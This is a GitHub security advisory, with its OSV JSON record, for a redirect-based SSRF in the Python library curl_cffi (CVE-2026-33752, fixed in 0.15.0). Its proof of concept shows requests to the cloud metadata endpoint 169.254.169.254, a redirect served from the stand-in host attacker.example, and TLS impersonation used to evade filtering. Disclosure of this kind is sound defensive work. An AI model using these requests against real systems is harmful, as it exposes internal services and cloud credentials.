GHSA-QW2M-4PQF-RMPP
Vulnerability from github – Published: 2026-04-03 21:36 – Updated: 2026-04-06 23:18Summary
curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.
Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.
Details
The issue comes from how curl_cffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). - Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl. - There is no validation of redirect destinations at the Python layer.
This means that even if an application only allows requests to external URLs, an attacker can - Provide a URL pointing to an attacker-controlled server - Return a redirect response pointing to an internal service - Have curl_cffi follow that redirect automatically
As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.
Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block
This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.
PoC
- Direct internal request
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
- Redirect to internal service Attacker server:
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/
Victim code:
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)
Result - Initial request goes to attacker server - Redirect is returned - libcurl follows the redirect automatically - Internal metadata endpoint is accessed
- With TLS impersonation
import curl_cffi\
resp = curl_cffi.get(
"https://attacker.example/test",
impersonate="chrome")
In some environments, this may help the request bypass TLS-based filtering controls.
Impact
An attacker who can control the requested URL may be able to: - Access internal network services - Reach cloud metadata endpoints and retrieve sensitive information - Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "curl_cffi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33752"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:36:44Z",
"nvd_published_at": "2026-04-06T16:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi\u2019s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n\u2192 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n \"https://attacker.example/test\",\n impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.",
"id": "GHSA-qw2m-4pqf-rmpp",
"modified": "2026-04-06T23:18:14Z",
"published": "2026-04-03T21:36:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33752"
},
{
"type": "PACKAGE",
"url": "https://github.com/lexiforest/curl_cffi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.